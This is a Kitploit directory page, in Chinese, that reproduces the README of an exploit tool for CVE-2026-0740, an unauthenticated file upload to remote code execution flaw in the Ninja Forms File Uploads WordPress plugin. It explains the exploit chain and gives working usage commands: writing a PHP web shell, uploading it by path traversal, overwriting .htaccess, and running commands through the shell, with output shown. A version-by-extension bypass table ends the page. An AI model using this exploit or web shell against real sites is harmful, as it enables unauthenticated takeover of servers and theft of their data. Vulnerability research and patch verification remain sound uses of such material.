Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-0740 — Ninja Forms文件上传 <= 3.3.26 - 未认证的任意文件上传到RCE(CVE-2026-0740) | Kitploit
工具/GitHubGitHub/whattheslime/cve-2026-0740
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubwhattheslime/cve-2026-0740

CVE-2026-0740

Ninja Forms文件上传 <= 3.3.26 - 未认证的任意文件上传到RCE(CVE-2026-0740)

查看仓库
1222个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-0740

Ninja Forms File Uploads <= 3.3.26 - 未认证的任意文件上传导致远程代码执行

针对 CVE-2026-0740 的利用脚本,该漏洞由 Selim Lanouar (whattheslime) 发现。

如需完整的技术深入分析,请阅读 Lexfo 博客上的完整文章。

免责声明

本仓库仅用于研究与防御性安全目的。

作者不对滥用此信息的行为承担任何责任。


概述

WordPress 插件 Ninja Forms - File Uploads 存在未认证的任意文件上传漏洞,可在所有版本(包括 3.3.26 及更早版本)中导致远程代码执行。

该漏洞最初在版本 3.3.23 中被发现并报告。在版本 3.3.24(及更早版本)中,利用过程非常简单(目标文件名无验证)。版本 3.3.25 和 3.3.26 引入了连续的部分补丁,但问题仅在版本 3.3.27 中完全解决。

漏洞利用链如下:

  1. 未认证用户通过 nf_fu_get_new_nonce AJAX 动作,使用任意 field_id 获取有效的上传 nonce。
  2. nf_fu_upload 处理器验证上传文件的扩展名(例如 image.jpg),但允许客户端通过 POST 参数(image_jpg)覆盖目标文件名。
  3. 目标文件名被传递给 move_uploaded_file(),且未经过适当的清理,从而允许任意扩展名和路径遍历(../)。

请参阅完整博客文章以获取完整的扩展名表格和技术深入分析。


利用

先决条件

  • Ninja Forms 插件已安装并激活。
  • Ninja Forms - File Uploads 扩展已安装并激活(版本 <= 3.3.26)。
  • 不需要已存在的表单或文件上传字段。

设置

root@kitploit:~
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h

上传文件(无路径遍历)

root@kitploit:~
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt

文件将被写入 wp-content/uploads/ninja-forms/tmp/test.txt。

使用路径遍历上传(<= 3.3.24)

root@kitploit:~
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php

文件将被写入 wp-content/webshell.php。

使用自定义目标文件名上传

root@kitploit:~
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess

示例

root@kitploit:~
# 1. 检测版本
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]

# 2. 编写 webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php

# 3. 上传
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php

# 4. 执行命令
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

引用

  • 博客文章 - 技术深入分析
  • CVE-2026-0740
  • Wordfence - 50,000 个 WordPress 站点受影响
  • Wordfence - 漏洞详情
下载工具
向量 / 扩展名<= 3.3.243.3.253.3.263.3.27
路径遍历(../)通过---
.php通过---
.phtml, .phar通过通过--
.pht通过通过通过-
.html, .svg, .js通过通过通过-